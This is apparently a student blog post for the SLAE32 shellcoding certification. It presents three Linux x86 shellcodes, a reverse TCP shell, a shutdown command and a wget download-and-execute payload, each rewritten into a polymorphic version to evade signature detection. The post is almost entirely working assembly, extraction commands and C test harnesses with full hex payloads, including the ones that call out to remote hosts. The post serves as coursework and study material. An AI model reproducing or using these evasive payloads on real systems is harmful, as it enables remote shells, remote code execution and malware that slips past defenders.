SLAE32 Assignment6
27 Sep 2020
This blog post has been created for completing the requirments of the SecurityTube (Pentester Academy) x86 Assembly Language and Shellcoding on Linux certification:
x86 Assembly Language and Shellcoding on Linux
Student ID: SLAE-1562
Objects
Take up 3 shellcodes from Shell - Storm and create polymorphic versions of them to beat pattern matching
The polymorphic versions cannot be larger 150 % of the existing shellcode
Bonus points for making it shorter in length than original
Prerequisite
git clone https : //github.com/buffer/libemu
sudo apt - get install autoconf
sudo apt - get install libtool
autoreconf - v - i
. / configure -- prefix = /opt/ libemu
autoreconf - v - i
sudo make install
Obtain the Kali (x86) Linux 2020.3
https : //images.kali.org/virtual-images/kali-linux-2020.3-vmware-i386.7z
First Shellcode - reversetcpbindshell (92 bytes)
Shellcode link
Original Shellcode:
$ objdump - D reversetcpbindshell - M intel
reversetcpbindshell : file format elf32 - i386
Disassembly of section . text :
08048060 < _start > :
8048060 : 31 c0 xor eax , eax
8048062 : 31 db xor ebx , ebx
8048064 : 31 c9 xor ecx , ecx
8048066 : 31 d2 xor edx , edx
8048068 : b0 66 mov al , 0x66
804806 a : b3 01 mov bl , 0x1
804806 c : 51 push ecx
804806 d : 6 a 06 push 0x6
804806 f : 6 a 01 push 0x1
8048071 : 6 a 02 push 0x2
8048073 : 89 e1 mov ecx , esp
8048075 : cd 80 int 0x80
8048077 : 89 c6 mov esi , eax
8048079 : b0 66 mov al , 0x66
804807 b : 31 db xor ebx , ebx
804807 d : b3 02 mov bl , 0x2
804807 f : 68 c0 a8 01 0 a push 0xa01a8c0
8048084 : 66 68 7 a 69 pushw 0x697a
8048088 : 66 53 push bx
804808 a : fe c3 inc bl
804808 c : 89 e1 mov ecx , esp
804808 e : 6 a 10 push 0x10
8048090 : 51 push ecx
8048091 : 56 push esi
8048092 : 89 e1 mov ecx , esp
8048094 : cd 80 int 0x80
8048096 : 31 c9 xor ecx , ecx
8048098 : b1 03 mov cl , 0x3
0804809 a < dupfd > :
804809 a : fe c9 dec cl
804809 c : b0 3 f mov al , 0x3f
804809 e : cd 80 int 0x80
80480 a0 : 75 f8 jne 804809 a
80480 a2 : 31 c0 xor eax , eax
80480 a4 : 52 push edx
80480 a5 : 68 6 e 2 f 73 68 push 0x68732f6e
80480 aa : 68 2 f 2 f 62 69 push 0x69622f2f
80480 af : 89 e3 mov ebx , esp
80480 b1 : 52 push edx
80480 b2 : 53 push ebx
80480 b3 : 89 e1 mov ecx , esp
80480 b5 : 52 push edx
80480 b6 : 89 e2 mov edx , esp
80480 b8 : b0 0 b mov al , 0xb
80480 ba : cd 80 int 0x80
Polymorphic version:
global _start
section . text
_start :
xor eax , eax
xor ebx , ebx
xor ecx , ecx
xor edx , edx
mov al , 0x66
mov bl , 0x1
push ecx
push 0x6
push 0x1
push 0x2
mov ecx , esp
int 0x80
mov esi , eax
shl eax , 2
shr eax , 4
mov al , 0x66
xor ebx , ebx
mov bl , 0x2
mov edi , 0x1162317c
add edi , 0x77667744
mov dword [ esp - 4 ], edi ; ip 192.168 . 200.136
mov cx , 0xbbbc
add cx , 0x1111
sub cx , 0x11cc
mov word [ esp - 6 ], cx ; port 443
sub esp , 6
push bx
inc bl
mov ecx , esp
push 0x10
push ecx
push esi
mov ecx , esp
int 0x80
xor ecx , ecx
mov cl , 0x3
dupfd :
dec cl
mov al , 0x3f
int 0x80
jne dupfd
xor eax , eax
mov dword [ esp - 4 ], edx
mov dword [ esp - 8 ], 0x68732f6e ; push 0x68732f6e
mov dword [ esp - 12 ], 0x69622f2f ; push 0x69622f2f
sub esp , 12
mov ebx , esp
push edx
push ebx
mov ecx , esp
push edx
mov edx , esp
mov al , 0xb
int 0x80
assembly compilation :
. / compile PolyReverseTCP - 1
shellcode extraction :
objdump - d . / PolyReverseTCP - 1 | grep ' [0-9a-f]: ' | grep - v ' file ' | cut - f2 - d : | cut - f1 - 7 - d ' ' | tr - s ' ' | tr ' \t ' ' ' | sed ' s/ $//g ' | sed ' s/ / \\ x/g ' | paste - d '' - s | sed ' s/^/"/ ' | sed ' s/$/"/g '
shellcode . c compilation :
gcc - fno - stack - protector - z execstack shellcode - poly . c - o shellcode - poly
shellcode-poly.c:
# include < stdio . h >
# include < string . h >
unsigned char code [] = \
" \ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x31 \ xd2 \ xb0 \ x66 \ xb3 \ x01 \ x51 \ x6a \ x06 \ x6a \ x01 \ x6a \ x02 \ x89 \ xe1 \ xcd \ x80 \ x89 \ xc6 \ xc1 \ xe0 \ x02 \ xc1 \ xe8 \ x04 \ xb0 \ x66 \ x31 \ xdb \ xb3 \ x02 \ xbf \ x7c \ x31 \ x62 \ x11 \ x81 \ xc7 \ x44 \ x77 \ x66 \ x77 \ x89 \ x7c \ x24 \ xfc \ x66 \ xb9 \ xbc \ xbb \ x66 \ x81 \ xc1 \ x11 \ x11 \ x66 \ x81 \ xe9 \ xcc \ x11 \ x66 \ x89 \ x4c \ x24 \ xfa \ x83 \ xec \ x06 \ x66 \ x53 \ xfe \ xc3 \ x89 \ xe1 \ x6a \ x10 \ x51 \ x56 \ x89 \ xe1 \ xcd \ x80 \ x31 \ xc9 \ xb1 \ x03 \ xfe \ xc9 \ xb0 \ x3f \ xcd \ x80 \ x75 \ xf8 \ x31 \ xc0 \ x89 \ x54 \ x24 \ xfc \ xc7 \ x44 \ x24 \ xf8 \ x6e \ x2f \ x73 \ x68 \ xc7 \ x44 \ x24 \ xf4 \ x2f \ x2f \ x62 \ x69 \ x83 \ xec \ x0c \ x89 \ xe3 \ x52 \ x53 \ x89 \ xe1 \ x52 \ x89 \ xe2 \ xb0 \ x0b \ xcd \ x80 "
;
int main ()
{
printf ( " Shellcode Length: %d \n " , strlen ( code ));
int ( * ret )() = ( int ( * )()) code ;
ret ();
}
We can see the new shellcode has a size of 138, which is 150% size of the original shellcode.
Second Shellcode - shutdown -h now Shellcode - 56 bytes
Shellcode link
Original Nasm file:
global _start
section . text
_start :
xor eax , eax
xor edx , edx ; envp
push eax
push word 0x682d ; - h
mov edi , esp
push eax
push byte 0x6e ; now
mov [ esp + 1 ], word 0x776f
mov edi , esp
push eax
push 0x6e776f64 ; /sbin/ shutdown
push 0x74756873
push 0x2f2f2f6e
push 0x6962732f
mov ebx , esp
push edx ; null envp
push esi ; now null
push edi ; - h null
push ebx ; /sbin/ shutdown null
mov ecx , esp
mov al , 11
Polymorphic version:
global _start
section . text
_start :
xor eax , eax
xor edx , edx
push eax
push word 0x682d
mov edi , esp
push eax
push 0x6e
mov word [ esp + 0x1 ], 0x776f
mov edi , esp
push eax
mov ecx , 0x5D665E53
add ecx , 0x11111111
mov dword [ esp - 4 ], ecx
mov dword [ esp - 8 ], 0x74756873
shl eax , 2
mov dword [ esp - 12 ], 0x2f2f2f6e
shr eax , 3
mov dword [ esp - 16 ], 0x6962732f
sub esp , 16
mov ebx , esp
push edx
push esi
push edi
push ebx
mov ecx , esp
mov al , 0xb ; the syscall execve
int 0x80
assembly compilation :
. / compile PolyShutdown
shellcode extraction :
objdump - d . / PolyShutdown | grep ' [0-9a-f]: ' | grep - v ' file ' | cut - f2 - d : | cut - f1 - 7 - d ' ' | tr - s ' ' | tr ' \t ' ' ' | sed ' s/ $//g ' | sed ' s/ / \\ x/g ' | paste - d '' - s | sed ' s/^/"/ ' | sed ' s/$/"/g '
shellcode . c compilation :
gcc - fno - stack - protector - z execstack shellcode - poly . c - o shellcode - poly
shellcode-poly.c:
# include < stdio . h >
# include < string . h >
unsigned char code [] = \
" \ x31 \ xc0 \ x31 \ xd2 \ x50 \ x66 \ x68 \ x2d \ x68 \ x89 \ xe7 \ x50 \ x6a \ x6e \ x66 \ xc7 \ x44 \ x24 \ x01 \ x6f \ x77 \ x89 \ xe7 \ x50 \ xb9 \ x53 \ x5e \ x66 \ x5d \ x81 \ xc1 \ x11 \ x11 \ x11 \ x11 \ x89 \ x4c \ x24 \ xfc \ xc7 \ x44 \ x24 \ xf8 \ x73 \ x68 \ x75 \ x74 \ xc1 \ xe0 \ x02 \ xc7 \ x44 \ x24 \ xf4 \ x6e \ x2f \ x2f \ x2f \ xc1 \ xe8 \ x03 \ xc7 \ x44 \ x24 \ xf0 \ x2f \ x73 \ x62 \ x69 \ x83 \ xec \ x10 \ x89 \ xe3 \ x52 \ x56 \ x57 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ xcd \ x80 " ;
int main ()
{
printf ( " Shellcode Length: %d \n " , strlen ( code ));
int ( * ret )() = ( int ( * )()) code ;
ret ();
}
We can see the new shellcode has a size of 84, which is 150% size of the original shellcode. The machine is shut down after the shellcode executed.
Third Shellcode - downloadexec.nasm - 110 bytes
Shellcode Link
This shellcode has only been tested on Ubuntu 12.04 32 bits
Original NASM code:
global _start
section . text
_start :
; fork
xor eax , eax
mov al , 0x2
int 0x80
xor ebx , ebx
cmp eax , ebx
jz child
; wait ( NULL )
xor eax , eax
mov al , 0x7
int 0x80
; chmod x
xor ecx , ecx
xor eax , eax
push eax
mov al , 0xf
push 0x78
mov ebx , esp
xor ecx , ecx
mov cx , 0x1ff
int 0x80
; exec x
xor eax , eax
push eax
push 0x78
mov ebx , esp
push eax
mov edx , esp
push ebx
mov ecx , esp
mov al , 11
int 0x80
child :
; download 192.168 . 200.134 / x with wget
push 0xb
pop eax
cdq
push edx
push 0x78 ; x avoid null byte
push 0x2f343331 ; /431
push 0x2e303032 ;. 002
push 0x2e383631 ;. 861
push 0x2e323931 ;. 291
mov ecx , esp
push edx
push 0x74 ; t
push 0x6567772f ; egw /
push 0x6e69622f ; nib /
push 0x7273752f ; rsu /
mov ebx , esp
push edx
push ecx
push ebx
mov ecx , esp
int 0x80
Polymorphic version:
global _start
section . text
_start :
; fork
xor eax , eax
shl eax , 5
shr eax , 6
mov al , 0x2
int 0x80
xor ebx , ebx
cmp eax , ebx
jz child
; wait ( NULL )
xor eax , eax
cmp esi , edi
mov al , 0x7
int 0x80
; chmod x
xor ecx , ecx
cld
xor eax , eax
push eax
mov al , 0xf
push 0x78
mov ebx , esp
std
xor ecx , ecx
cmp esi , edi
mov cx , 0x1ff
int 0x80
; exec x
xor eax , eax
push eax
push 0x78
mov ebx , esp
push eax
mov edx , esp
push ebx
mov ecx , esp
mov al , 11
int 0x80
child :
; download 192.168 . 200.134 / x with wget
push 0xb
pop eax
cdq
push edx
push 0x78 ; x avoid null byte
push 0x2f343331 ; /431
cdq
push 0x2e303032 ;. 002
std
push 0x2e383631 ;. 861
cmp esi , edi
push 0x2e323931 ;. 291
cdq
mov ecx , esp
push edx
push 0x74 ; t
mov esi , 0x101221DA
add esi , 0x55555555
mov dword [ esp - 4 ], esi
mov esi , 0x2A251DEB
add esi , 0x44444444
mov dword [ esp - 8 ], esi
mov esi , 0x3F4041FC
add esi , 0x33333333
mov dword [ esp - 12 ], esi
sub esp , 12
mov ebx , esp
push edx
push ecx
push ebx
mov ecx , esp
int 0x80
assembly compilation :
. / compile PolyDownload
shellcode extraction :
objdump - d . / PolyDownload | grep ' [0-9a-f]: ' | grep - v ' file ' | cut - f2 - d : | cut - f1 - 7 - d ' ' | tr - s ' ' | tr ' \t ' ' ' | sed ' s/ $//g ' | sed ' s/ / \\ x/g ' | paste - d '' - s | sed ' s/^/"/ ' | sed ' s/$/"/g '
shellcode . c compilation :
gcc - fno - stack - protector - z execstack shellcode . c - o shellcode
shellcode.c:
# include < stdio . h >
# include < string . h >
unsigned char code [] = \
" \ x31 \ xc0 \ xc1 \ xe0 \ x05 \ xc1 \ xe8 \ x06 \ xb0 \ x02 \ xcd \ x80 \ x31 \ xdb \ x39 \ xd8 \ x74 \ x30 \ x31 \ xc0 \ x39 \ xfe \ xb0 \ x07 \ xcd \ x80 \ x31 \ xc9 \ xfc \ x31 \ xc0 \ x50 \ xb0 \ x0f \ x6a \ x78 \ x89 \ xe3 \ xfd \ x31 \ xc9 \ x39 \ xfe \ x66 \ xb9 \ xff \ x01 \ xcd \ x80 \ x31 \ xc0 \ x50 \ x6a \ x78 \ x89 \ xe3 \ x50 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ xcd \ x80 \ x6a \ x0b \ x58 \ x99 \ x52 \ x6a \ x78 \ x68 \ x31 \ x33 \ x34 \ x2f \ x99 \ x68 \ x32 \ x30 \ x30 \ x2e \ xfd \ x68 \ x31 \ x36 \ x38 \ x2e \ x39 \ xfe \ x68 \ x31 \ x39 \ x32 \ x2e \ x99 \ x89 \ xe1 \ x52 \ x6a \ x74 \ xbe \ xda \ x21 \ x12 \ x10 \ x81 \ xc6 \ x55 \ x55 \ x55 \ x55 \ x89 \ x74 \ x24 \ xfc \ xbe \ xeb \ x1d \ x25 \ x2a \ x81 \ xc6 \ x44 \ x44 \ x44 \ x44 \ x89 \ x74 \ x24 \ xf8 \ xbe \ xfc \ x41 \ x40 \ x3f \ x81 \ xc6 \ x33 \ x33 \ x33 \ x33 \ x89 \ x74 \ x24 \ xf4 \ x83 \ xec \ x0c \ x89 \ xe3 \ x52 \ x51 \ x53 \ x89 \ xe1 \ xcd \ x80 " ;
int main ()
{
printf ( " Shellcode Length: %d \n " , strlen ( code ));
int ( * ret )() = ( int ( * )()) code ;
ret ();
}
We can see the new shellcode has a size of 160, which is less than 150% size of the original shellcode. The file “x” is a “whoami” executable. We see it executed after the download.
You can find all the above code at here .
Thanks for reading :)